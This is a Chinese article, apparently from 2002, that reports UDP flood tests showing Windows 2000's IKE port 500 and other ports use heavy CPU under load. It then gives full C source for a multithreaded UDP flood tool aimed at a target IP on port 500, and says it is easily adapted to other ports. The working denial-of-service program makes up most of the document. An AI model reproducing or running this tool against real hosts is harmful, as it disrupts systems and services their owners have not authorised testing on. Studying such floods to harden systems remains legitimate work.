一个简单的IKE DOS程序

/ns/wz/comp/data/20020819051027.htm

一个简单的IKE DOS程序

Author: Refdom
Email: refdom@263.net
HomePage: www.opengram.com



去年,我写了个用UDP对SQL SERVER进行DOS的,最近对一系列WIN2K监听的端口都进行了UDP的
Flood测试,对这些UDP端口发送大量的UDP数据包(比较大),发现很多都能够消耗CPU。

(测试目标:PIII 1G)

其中IKE的500端口能够消耗到90%以上,135端口也能够消耗50%以上。而138和445小一些,一般
会让CPU消耗提高30%左右。

IKE(Internet Key Exchange)的UDP协议DOS问题,在去年12月份SecuriTeam上就公布过。IKE的
攻击最逊色,测试中即使暂停发送数据包,CPU占用也居高不下。

即使对WIN2K不监听的任意UDP端口进行Flood,也能提高CPU消耗。

虽然这样的攻击对系统没有什么破坏性,而且停止发送后CPU也就恢复,但是很明显表明在抵抗
UDP的FLOOD攻击方面,WIN2K系统并不好。

下面是一个简单的IKE DOS程序,也很容易改为对付其他端口的。

//////////////////////////////////////////////////////
//
// Creator: Refdom
// Email : refdom@263.net
// HomePage: http://www.opengram.com
//
//////////////////////////////////////////////////////

#include <stdio.h>
#include <windows.h>
#include <process.h>

#pragma comment (lib, "ws2_32.lib")

#define IKE_UDP_PORT 500

void IKEDOSThread(void* Target);

int main(int argc, char* argv[])
{
WSADATA WSAData;

if (argc < 2 )
{
printf ("input targetip!\n");
return 0;
}

if (WSAStartup(MAKEWORD(2,2), &WSAData) != 0 )
{
printf("WSA Error!\n");
return 0;
}

Sleep(500);
printf ("DOS Starting......\n");
for (int i =0 ; i < 20; i++)
{
_beginthread(IKEDOSThread, 0, (void*) argv[1]);
}

Sleep(100000);

WSACleanup();
return 0;
}

void IKEDOSThread(void* Target)
{
SOCKET sock;
SOCKADDR_IN addr_in;
int nRetCode;
char* pBuffer;
int nBufferSize = 1024;

pBuffer = (char*) malloc(nBufferSize);
FillMemory(pBuffer, nBufferSize, 'A');

sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if (sock == INVALID_SOCKET)
{
printf ("socket error!\n");
return;
}

addr_in.sin_family = AF_INET;
addr_in.sin_port = htons(IKE_UDP_PORT);
addr_in.sin_addr.S_un.S_addr = inet_addr((char*)Target);


for ( int i =0 ; i <= 50000; i++)
{
nRetCode = sendto(sock, pBuffer, nBufferSize, 0, (LPSOCKADDR)&addr_in, sizeof(addr_in));
if (nRetCode == SOCKET_ERROR)
{
printf ("Send error!\n");
// return 0;
}
}
closesocket(sock);
free(pBuffer);
}